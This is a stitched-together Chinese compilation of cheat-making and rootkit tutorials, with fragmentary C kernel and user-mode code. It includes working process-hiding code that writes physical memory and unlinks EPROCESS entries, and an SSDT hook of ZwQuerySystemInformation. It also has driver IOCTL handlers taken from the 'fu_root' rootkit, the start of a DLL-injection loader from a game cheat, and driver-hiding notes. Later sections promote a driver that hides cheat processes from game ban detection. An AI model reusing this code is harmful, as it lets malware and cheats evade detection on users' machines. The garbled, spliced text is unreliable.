FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,0x1000);if( g_pMapPhysicalMemory == NULL )return NULL;return g_hMPM;}//---------------------------------------------------------------------------PVOID LinearT oPhys(PULONG BaseAddress, PVOID addr){ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;PGDE = BaseAddress[VAddr>>22];if (0 == (PGDE&1))return 0;ULONG tmp = PGDE & 0x00000080;if (0 != tmp){PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);}else{PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];if (0 == (PTE&1))return 0;PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);UnmapViewOfFile((PVOID)PGDE);}return (PVOID)PAddr;}//---------------------------------------------------------------------------ULONG GetData(PVOID addr){ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &0xfffff000, 0x1000);if (0 == tmp)return 0;ULONG ret = tmp[(phys & 0xFFF)>>2];UnmapViewOfFile(tmp);return ret;}//---------------------------------------------------------------------------BOOL SetData(PVOID addr,ULONG data){ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);if (0 == tmp)return FALSE;tmp[(phys & 0xFFF)>>2] = data;UnmapViewOfFile(tmp);return TRUE;//---------------------------------------------------------------------------long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp){ExitProcess(0);return 1 ;}//---------------------------------------------------------------------------BOOL YHideProcess(){// SetUnhandledExceptionFilter(exeception);if (FALSE == InitNTDLL())return FALSE;if (0 == OpenPhysicalMemory())return FALSE;ULONG thread = GetData((PVOID)0xFFDFF124); //ktebULONG process = GetData(PVOID(thread + 0x44)); //kpebULONG fw, bw;if (0 == g_osvi.dwMinorVersion){fw = GetData(PVOID(process + 0xa0));bw = GetData(PVOID(process + 0xa4));}if (1 == g_osvi.dwMinorVersion){fw = GetData(PVOID(process + 0x88)); bw = GetData(PVOID(process + 0x8c)); }SetData(PVOID(fw + 4), bw); SetData(PVOID(bw), fw);CloseHandle(g_hMPM); CloseNTDLL();return TRUE;}BOOL HideProcess(){static BOOL b_hide = false;if (!b_hide){b_hide = true;YHideProcess();return true;}return true;}。
有关HOOK SSDT、EPROCESS的知识
有关HOOK SSDT、EPROCESS的知识学习各种高级外挂制作技术，马上去百度搜索"魔鬼作坊"，点击第一个站进入，快速成为做挂达人。
(1)关于隐藏进程[只复习RING0的]方法①参考fuzen_op：HOOK SSDT--->ZwQuerySystemInformation---> _SYSTEM_PROCESS.NextEntryDelta,通过判断进程名隐藏[也同时隐藏时间片],科普用.NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength){NTSTATUS ntStatus;ntStatus=((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))( SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);if(NT_SUCCESS(ntStatus)){if(SystemInformationClass==5){struct_SYSTEM_PROCESSES*curr=(struct_SYSTEM_PROCESSES *)SystemInformation;struct_SYSTEM_PROCESSES*prev=NULL;while(curr){if(curr->ProcessName.Buffer!=NULL){if(0==memcmp(curr->ProcessName.Buffer,L"sudami",12)){m_UserTime.QuadPart+=curr->UserTime.QuadPart;m_KernelTime.QuadPart+=curr->KernelTime.QuadPart;if(prev)//Middle or Last entry{if(curr->NextEntryDelta)prev->NextEntryDelta+=curr->NextEntryDelta;else//we are last,so make prev the endprev->NextEntryDelta=0;}else{if(curr->NextEntryDelta){//we are first in the list,so move it forward(char*)SystemInformation+=curr->NextEntryDelta;}else//we are the only process!SystemInformation=NULL;}}}else//This is the entry for the Idle process{//Add the kernel and user times of_root_*//processes to the Idle process.curr->UserTime.QuadPart+=m_UserTime.QuadPart;curr->KernelTime.QuadPart+=m_KernelTime.QuadPart;//Reset the timers for next time we filterm_UserTime.QuadPart=m_KernelTime.QuadPart=0;}prev=curr;if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);else curr=NULL;}}else if(SystemInformationClass==8)//Query for SystemProcessorTimes{struct_SYSTEM_PROCESSOR_TIMES*times=(struct _SYSTEM_PROCESSOR_TIMES*)SystemInformation;times->IdleTime.QuadPart+=m_UserTime.QuadPart+ m_KernelTime.QuadPart;}}return ntStatus;}方法②在EPROCESS中的ActiveProcessLinks里摘除自身,也就是操作链表,摘除一个结点.老技术,偶想复习的部分是----从RING3传PID到RING0,在其中转化为EPROCESS,再比较,相同就摘除结点[老是学到后面就忘了这里了,所以还是写出来,加深印象]在RING3想驱动发消息,还必须包含一个头文件,里面定义的是IOCTL/////////////////////////////////////////////////////////////////////////////////////////Filename ioctlcmd.h#define FILE_DEVICE_ROOTKIT0x00002a7b#define IOCTL_ROOTKIT_INIT(ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT,0x01,METHOD_BUFFERED, FILE_WRITE_ACCESS)#define IOCTL_ROOTKIT_HIDEME(ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT,0x02,METHOD_BUFFERED, FILE_WRITE_ACCESS)用户层通过DeviceIoControl给驱动发送IRP_MJ_DEVICE_CONTROL消息/////////////////////////////////////////////////////////////////////////////////////---------------------------------------------------------------------------------//作者:sudami////函数名:InitDriver////参数:NULL////返回值:DWORD////函数功能:初始化驱动,在RING3层发送初始化消息给驱动////ADD TIME:2007/10/17////COMMENT:参考fu_root病毒源码//---------------------------------------------------------------------------------DWORD InitDriver(){int iRetCode=ERROR_SUCCESS;DWORD d_bytesRead=0;DWORD d_error=0;int pid_offset=132;int flink_offset=136;int*os_offsets;if(Initialized){return iRetCode;}os_offsets=(int*)calloc(1,sizeof(int)*8);if(!os_offsets){AfxMessageBox("!os_offsets");return-1;}memcpy(os_offsets,&pid_offset,sizeof(int));memcpy(os_offsets+1,&flink_offset,sizeof(int));if(!DeviceIoControl(g_hDriver,IOCTL_ROOTKIT_INIT,os_offsets,sizeof(int)*8,NULL,0,&d_bytesRead,NULL)){AfxMessageBox("!DeviceIoControl");}if(os_offsets)free(os_offsets);Initialized=TRUE;return(iRetCode);}/////////////////////////////////////////////////////////////////////////////////////---------------------------------------------------------------------------------//作者:sudami////函数名:HideProc////参数:DWORD pid-->//要隐藏进程的PID////返回值:DWORD////函数功能:隐藏进程,在RING3层发送IOCTL_ROOTKIT_HIDEME消息给驱动////ADD TIME:2007/10/17////COMMENT:参考fu_root病毒源码//---------------------------------------------------------------------------------DWORD HideProc(DWORD pid){DWORD d_bytesRead;DWORD success;if(!Initialized){return ERROR_NOT_READY;}success=DeviceIoControl(g_hDriver,IOCTL_ROOTKIT_HIDEME,(void*)&pid,sizeof(DWORD),NULL,0,&d_bytesRead,NULL);return success;}驱动层接收到用户层的消息后,进行相应处理.在DriverEntry中指定分派函数DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]=DriverObject->MajorFunction[IRP_MJ_CREATE]=DriverObject->MajorFunction[IRP_MJ_CLOSE]=DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=RootkitDispatch;然后在自定义函数RootkitDispatch处理消息NTSTATUSRootkitDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){PIO_STACK_LOCATION irpStack;PVOID inputBuffer;PVOID outputBuffer;ULONG inputBufferLength;ULONG outputBufferLength;ULONG ioControlCode;NTSTATUS ntstatus;ntstatus=Irp->IoStatus.Status=STATUS_SUCCESS;Irp->rmation=0;irpStack=IoGetCurrentIrpStackLocation(Irp);inputBuffer=Irp->AssociatedIrp.SystemBuffer;inputBufferLength=irpStack->Parameters.DeviceIoControl.InputBufferLength;outputBuffer=Irp->AssociatedIrp.SystemBuffer;outputBufferLength= irpStack->Parameters.DeviceIoControl.OutputBufferLength;ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;switch(irpStack->MajorFunction){case IRP_MJ_CREATE:break;case IRP_MJ_SHUTDOWN:break;case IRP_MJ_CLOSE:break;case IRP_MJ_DEVICE_CONTROL:if((ioControlCode&0x3)==METHOD_NEITHER){outputBuffer=Irp->UserBuffer;}//Its a request from rootkitntstatus=RootkitDeviceControl(irpStack->FileObject,TRUE,inputBuffer,inputBufferLength,outputBuffer,outputBufferLength,ioControlCode,&Irp->IoStatus,DeviceObject);break;}IoCompleteRequest(Irp,IO_NO_INCREMENT);return ntstatus;}在另一个自定义函数中对消息进行进一步处理NTSTATUSRootkitDeviceControl(IN PFILE_OBJECT FileObject,IN BOOLEAN Wait,IN PVOID InputBuffer,IN ULONG InputBufferLength,OUT PVOID OutputBuffer,IN ULONG OutputBufferLength,IN ULONG IoControlCode,OUT PIO_STATUS_BLOCK IoStatus,IN PDEVICE_OBJECT DeviceObject){NTSTATUS ntStatus;int find_PID=0;DWORD eproc=0x00000000;PLIST_ENTRY plist_active_procs=NULL;IoStatus->Status=STATUS_SUCCESS;IoStatus->Information=0;switch(IoControlCode){case IOCTL_ROOTKIT_INIT:if((InputBufferLength<sizeof(int)*8)||(InputBuffer==NULL)){IoStatus->Status=STATUS_INVALID_BUFFER_SIZE;break;}PIDOFFSET=(int)(*(int*)InputBuffer);FLINKOFFSET=(int)(*((int*)InputBuffer+1));break;case IOCTL_ROOTKIT_HIDEME:if((InputBufferLength<sizeof(DWORD))||(InputBuffer==NULL)){IoStatus->Status=STATUS_INVALID_BUFFER_SIZE;break;}find_PID=*((DWORD*)InputBuffer);if(find_PID==0x00000000){IoStatus->Status=STATUS_INVALID_PARAMETER;break;}eproc=FindProcessEPROC(find_PID);//这个自定义函数就是通过PID找到EPROCESSif(eproc==0x00000000){IoStatus->Status=STATUS_INVALID_PARAMETER;break;}plist_active_procs=(LIST_ENTRY*)(eproc+FLINKOFFSET);*((DWORD*)plist_active_procs->Blink)=(DWORD)plist_active_procs->Flink;*((DWORD*)plist_active_procs->Flink+1)=(DWORD)plist_active_procs->Blink;//摘除结点break;default:IoStatus->Status=STATUS_INVALID_DEVICE_REQUEST;break;}return IoStatus->Status;}////////////////////////////////////////////////////////////////////////////////DWORD FindProcessEPROC(int terminate_PID){DWORD eproc=0x00000000;int current_PID=0;int start_PID=0;int i_count=0;PLIST_ENTRY plist_active_procs;if(terminate_PID==0)return terminate_PID;eproc=(DWORD)PsGetCurrentProcess();start_PID=*((DWORD*)(eproc+PIDOFFSET));current_PID=start_PID;while(1){if(terminate_PID==current_PID)return eproc;else if((i_count>=1)&&(start_PID==current_PID)){return0x00000000;}else{plist_active_procs=(LIST_ENTRY*)(eproc+FLINKOFFSET);eproc=(DWORD)plist_active_procs->Flink;eproc=eproc-FLINKOFFSET;current_PID=*((int*)(eproc+PIDOFFSET));i_count++;}}}方法③从csrss.exe进程的句柄表中摘除自身[学习ing]方法④挂钩SwapContext,自己实现线程调度[学习ing]方法⑤从PspCidTable表中摘除自身(Anti--IS)[学习ing]。
隐藏进程
采用注入到其他进程的方法来隐藏自己的进程。
就是说，把你想做的事情寄生到别人的进程里面。
比如IE什么的。
关于注入的方法很多，下面我给你一个DLL注入的方法，这个是我做某外挂时用过的代码，你参考一下把。
int APIENTRY _tWinMain( HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow){TCHAR szCommandLine[] _T("目标进程");TCHAR szCurPath[] = _T("当前目录");WCHAR szTagetDLLName[256] = L"目标DLL";PWSTR pszRemoteDLLName = NULL;HANDLE hRemoteThread = NULL;STARTUPINFO StartupInfo = { sizeof(StartupInfo) };PROCESS_INFORMATION ProcessInfo = { 0 };PTHREAD_START_ROUTINE pfnLoadLibraryAddress = NULL;HANDLE hTheFileMaping = NULL;LPREMOTEDATA pTheRemoteData = NULL;__try{//获得本地进程路径名称GetModuleFileNameW(hInstance, szTagetDLLName, 256);//获得目标DLL路径名称，假定目标DLL本地进程在同一个目录。
WCHAR * p = szTagetDLLName + lstrlenW(szTagetDLLName) - 1;while( (*p != L'\\') && (p != szTagetDLLName) )p --;p ++;*p = L'\0';lstrcatW(szTagetDLLName, L"T agetDll.DLL");//获取LoadLibraryW在Kernel32.DLL中的地址，用于作为远线程的入口地址。
驱动器隐藏的方法一览
(注：用这个方法不能隐藏系统卷和启动卷。)
隐藏驱动器一法
隐藏驱动器是我们对硬盘上重要的文件资料进行保护的一种方法，除了我们常见的修改注册表隐藏、用分区魔法师(PQ)隐藏等方法外，在Win 2000/XP中，通过下面的方法我们也可以轻松实现对硬盘驱动器和光盘驱动器的隐藏：
在“我的电脑”上击右键，选“管理”，打开“计算机管理”窗口，在左边目录树中展开“存储→磁盘管理”，便可在窗口右边看到所有的磁盘分区了。选中要隐藏的分区(卷)，执行右键菜单中的“更改驱动器名和路径”命令，便会弹出如图所示的对话框，按下“删除”按钮，系统弹出“删除卷的驱动器号可能会导致程序停止运行。确实要删除这个驱动器名吗？”若确认对话框，点击“是”把这个驱动器名删除，这样就可把个驱动器隐藏起来了。若不希望用户使用光驱在电脑上安装软件、打游戏，也可以用这个方法来实现对光驱的隐藏。
隐藏驱动完整攻略(基础篇)
隐藏驱动完整攻略(基础篇)学习各种高级外挂制作技术，马上去百度搜索"魔鬼作坊"，点击第一个站进入，快速成为做挂达人。
完整介绍隐藏驱动的方法，部分内容属于冷饭热炒，炒一炒比较好消化~~先说一下，以下数据和结构信息来自Windbg+WinXP SP2一、从PsLoadedModuleList消失PsLoadedModuleList是系统中一个用于连接所有已加载驱动的双向链表(LIST_ENTRY结构)。
每一个驱动的DriverObject->DriverSection其实是一个指向LDR_DATA_TABLE_ENT RY结构的指针，以Beep为例，如下：lkd>dt_DRIVER_OBJECT871a5b80nt!_DRIVER_OBJECT+0x000Type:4...+0x014DriverSection:0x897a0458lkd>dt_LDR_DATA_TABLE_ENTRY0x897a0458nt!_LDR_DATA_TABLE_ENTRY+0x000InLoadOrderLinks:_LIST_ENTRY[0x871ecb48-0x871b2a28]//仅LoadOrderLinks有效+0x008InMemoryOrderLinks:_LIST_ENTRY[0x0-0x0]+0x010InInitializationOrderLinks:_LIST_ENTRY[0x0-0x0]+0x018DllBase:0xbadd2000+0x01c EntryPoint:0xbadd266c+0x020SizeOfImage:0x2000+0x024FullDllName:_UNICODE_STRING+0x02c BaseDllName:_UNICODE_STRING这个结构和PEB->Ldr中用于记录进程已加载DLL的结构是一样的，不过驱动中仅InLoad OrderLinks有效，把这个结点从双链表中移除就可以了。
易语言驱动保护进程
禁止内存读写数据技术，在游戏驱动保护中经常运用到,游戏公司技术员，为防止CE任何调试工具和辅助程序读写游戏进程里的内存数据,通常会运用R0级内核技术来禁止对游戏进程内存数据读写操作。
一旦游戏进程内存读写被禁止了,那么CE和辅助读写游戏进程内存数据就都是？？这个问号符号了,或者是0了然而这项技术并不是只属于游戏,在当今时代,内存辅助的数据甚至比游戏数据来得更宝贵，更有价值，因为一个内存辅助程序里，它包含里游戏的各种数据的基址和偏移量,等数据信息，这个时候如果你的内存辅助不进行保护进程里的内存读写操作（也就是禁止其他软件对自己程序中内存读写操作），那么就有可能你的辅助程序会被其他人偷取你辅助程序里的游戏数据信息，他会直接偷取后拿着你辅助里现成的游戏数据信息，编写出他的辅助程序，这样他就不需要去分析游戏数据了，而只需分析你的辅助程序，就可以轻而易举写出他的辅助，这样的话你的辅助程序就等于为他做嫁衣了！所以要杜绝这种辅助内存数据被其他人偷窃，就得学会保护禁止其他程序来访问读写你的辅助程序内存数据，这个时候，我们不妨学学游戏公司的驱动保护一样，用RO级驱动保护自己程序的内存读写数据操作，Game-EC 模块从6.7版本，正式踏入驱动版，支持XP sp3 系统和Win7 32位系统，模块里新加入了专门保护内存不被其他程序读写的驱动级的命令：驱动_保护内存( )这里就讲解写如何使用进行保护自己的程序不被其他程序读写内存数据，在使用模块中任何驱动命令之前，必须先执行加载相关系统的驱动命令就得先使用：驱动_加载命令进行加载模块专用的驱动程序,否则你将无法使用驱动_保护内存或其他驱动命令。
现在以win7 32位系统为例，我们来写一个保护自己程序内存数据不被其他程序读写的例子本节的例子代码如下：示范源代码：以上是win7 32位系统的代码,注意驱动只能在win7 32位系统或xp sp3 系统中使用,否则在其他系统或64位系统使用的话可能会蓝屏哦，如果在2003系统或其他版本系统中使用，蓝屏了，记得报告老师，我们将改进并且让驱动去兼容你的系统（但64位系统除外）。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
驱动保护-隐藏进程躲避封号检测
隐藏进程有2种级别：
1.是应用级在R3层，这种级别隐藏进程容易，但也比较容易查出进程。
2.是驱动级在R0层，这种级别是最高级别隐藏，隐藏容易，但查出来比较难，需要一定的内核编程技术才能取出驱动隐藏的进程信息。
那么我们这就来讲讲驱动级隐藏进程吧，
在Game-EC 驱动版本模块中，加入了RO级的隐藏进程命令，由于Game驱动是我在xp SP3和win7 32位系统里写的，
所以支持这2种系统，当然其他版本系统没测试过,也许也支持2000或2003，如果谁有空就在这2个2000或2003系统测试吧，
如果有问题就联系我，修改支持兼容即可，64位系统就不用测试了，因为64位系统上运行驱动，需要微软数字签名认证，需要购买。
所以模块驱动不会支持64位系统使用，切勿在64位系统中使用，以免蓝屏！
很多游戏会检测辅助程序的进程，来判断机器上是否运行着可疑的程序（对游戏有破坏性的），
包括现在有的游戏居然会直接检测易语言进程，禁止运行时候时候运行易语言，这种情况，就是游戏枚举了系统进程，
发现了针对它的程序进程，对此做的各种限制。
所以隐藏进程在反游戏检测中也是很有一席之地的，下面我们来写个小例子，举例下如何运用驱动版本模块中的隐藏进程，
来隐藏我们的辅助进程，
例子的代码：
例子布局：
没有隐藏进程之前，在任务管理器里，我们可以查看到，当前程序进程
如图：
我们开始加载驱动隐藏我们程序进程，特别注意哦，我们的驱动加载时候会释放驱动文件到C盘文件去，
驱动文件名为：Dult.SYS ，如果有杀毒拦截提示，请允许放行加载！
如图:
隐藏我们的进程后，我们在任务管理器里找找，或者自己写一份枚举系统进程的代码，枚举下全部系统进程，
查看下我们是否能枚举出我们隐藏的进程呢，嘿嘿，当然是无法枚举出来，
如图：
我们已经无法在任务管理器里找到我们的进程了，因为我们已经以驱动级把我们的进程信息从系统中抹掉了。
这样任何应用级程序枚举或查找进程，都无法找到我们的程序进程。
有一定的效果躲避了一些监测进程的保护！。